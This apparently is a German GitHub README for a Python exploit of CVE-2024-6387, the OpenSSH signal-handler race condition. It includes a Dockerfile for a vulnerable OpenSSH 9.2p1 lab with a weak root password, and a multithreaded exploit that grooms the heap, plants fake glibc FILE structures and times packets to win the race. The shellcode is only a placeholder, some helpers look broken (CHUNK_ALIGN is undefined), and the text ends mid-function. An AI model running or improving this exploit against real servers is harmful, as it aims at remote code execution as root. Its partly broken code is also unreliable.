yassdev221608/cve-2024-6387Python-Exploit für CVE-2024-6387 (OpenSSH-Signalhandler-Race-Condition), der auf glibc-basierte 32-Bit-Linux-Systeme abzielt, mit mehrthreadiger Nebenläufigkeit und Heap-Grooming zur Erzielung von Remote-Code-Ausführung.
Dies ist im Wesentlichen eine statistische Schwachstelle: Sie erfordert eine große Anzahl von Versuchen, um die Race-Condition zu gewinnen und beliebigen Code auszuführen. Angreifer müssen viele Hindernisse überwinden, sagte Schwartz gegenüber SecurityWeek. Selbst im besten Fall benötigen die bekanntesten Schwachstellen mehr als 4 Stunden, um ausgeführt zu werden.
In den Versionshinweisen von OpenSSH 9.8 gaben die Entwickler an, dass die Schwachstelle nur auf glibc-basierten 32-Bit-Linux-Systemen bestätigt wurde und stellten fest, dass OpenBSD nicht betroffen ist.
Die Umgebungseinrichtung verwendet Docker
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
docker exec -it vuln-ssh-32bit /bin/bash
ps aux | grep sshd
Es gibt eine öffentlich verfügbare, aber sie muss kompiliert werden. Der Code ist in den zugehörigen Links verlinkt. Ich habe ihn nach Python portiert, Multi-Threading zur Steigerung der Angriffsgeschwindigkeit hinzugefügt und eine Laufanzahl von 100.000 Versuchen mit Abbruch bei erfolgreichem Angriff ergänzt.
import socket
import time
import struct
import random
import os
from threading import Thread, Lock
MAX_PACKET_SIZE = 256 * 1024
LOGIN_GRACE_TIME = 120
GLIBC_BASES = [0xb7200000, 0xb7400000]
NUM_GLIBC_BASES = len(GLIBC_BASES)
shellcode = b"\x90\x90\x90\x90"
attempts_lock = Lock()
attempts = 0
max_attempts = 100000
success = False
def setup_connection(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setblocking(False)
try:
sock.connect((ip, port))
except BlockingIOError:
pass
return sock
def send_packet(sock, packet_type, data):
packet = struct.pack('>I', len(data) + 1) + struct.pack('B', packet_type) + data
send_all(sock, packet)
def send_all(sock, data):
total_sent = 0
while total_sent < len(data):
try:
sent = sock.send(data[total_sent:])
if sent == 0:
raise RuntimeError("socket connection broken")
total_sent += sent
except BlockingIOError:
time.sleep(0.01)
def send_ssh_version(sock):
ssh_version = b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n"
send_all(sock, ssh_version)
def receive_ssh_version(sock):
try:
response = sock.recv(256)
print("Received SSH version:", response)
if b'Exceeded MaxStartups' in response:
return False
return True
except BlockingIOError:
return False
def send_kex_init(sock):
kexinit_payload = b'\x00' * 36
send_packet(sock, 20, kexinit_payload)
def receive_kex_init(sock):
try:
response = sock.recv(1024)
print("Received KEX_INIT:", len(response), "bytes")
return True
except BlockingIOError:
return False
def perform_ssh_handshake(sock):
send_ssh_version(sock)
if not receive_ssh_version(sock):
print("Failed to receive SSH version")
return False
send_kex_init(sock)
if not receive_kex_init(sock):
print("Failed to receive KEX_INIT")
return False
return True
def prepare_heap(sock):
for _ in range(10):
tcache_chunk = b'A' * 64
send_packet(sock, 5, tcache_chunk)
for _ in range(27):
large_hole = b'B' * 8192
send_packet(sock, 5, large_hole)
small_hole = b'C' * 320
send_packet(sock, 5, small_hole)
for _ in range(27):
fake_data = create_fake_file_structure(GLIBC_BASES[0])
send_packet(sock, 5, fake_data)
large_string = b'E' * (MAX_PACKET_SIZE - 1)
send_packet(sock, 5, large_string)
def create_fake_file_structure(glibc_base):
data = b'\x00' * 4096
fake_file = struct.pack('P' * 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x61, glibc_base + 0x21b740, glibc_base + 0x21d7f8)
return data[:0x4c0] + fake_file + data[0x4c0 + len(fake_file):]
def time_final_packet(sock):
start = time.time()
measure_response_time(sock, 1)
end = time.time()
return end - start
def measure_response_time(sock, error_type):
if error_type == 1:
error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
else:
error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
send_packet(sock, 50, error_packet)
start = time.time()
try:
sock.recv(1024)
except BlockingIOError:
pass
end = time.time()
return end - start
def create_public_key_packet(glibc_base):
packet = b'\x00' * MAX_PACKET_SIZE
offset = 0
for _ in range(27):
packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(4096)) + packet[offset + 4:]
offset += CHUNK_ALIGN(4096)
packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(304)) + packet[offset + 4:]
offset += CHUNK_ALIGN(304)
packet = packet[:0] + b"ssh-rsa " + packet[8:]
packet = packet[:CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13] + shellcode + packet[CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13 + len(shellcode):]
for i in range(27):
packet = packet[:CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i] + create_fake_file_structure(glibc_base) + packet[CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i + len(create_fake_file_structure(glibc_base)):]
return packet
def attempt_race_condition(sock, parsing_time, glibc_base):
final_packet = create_public_key_packet(glibc_base)
send_all(sock, final_packet[:-1])
time.sleep(LOGIN_GRACE_TIME - parsing_time - 0.001)
send_all(sock, final_packet[-1:])
try:
response = sock.recv(1024)
if response and response[:8] != b"SSH-2.0-":
print("Possible hit on 'large' race window")
return True
except BlockingIOError:
pass
return False
def perform_exploit_thread(ip, port, glibc_base):
global attempts
global success
while not success:
with attempts_lock:
if attempts >= max_attempts:
break
attempts += 1
attempt = attempts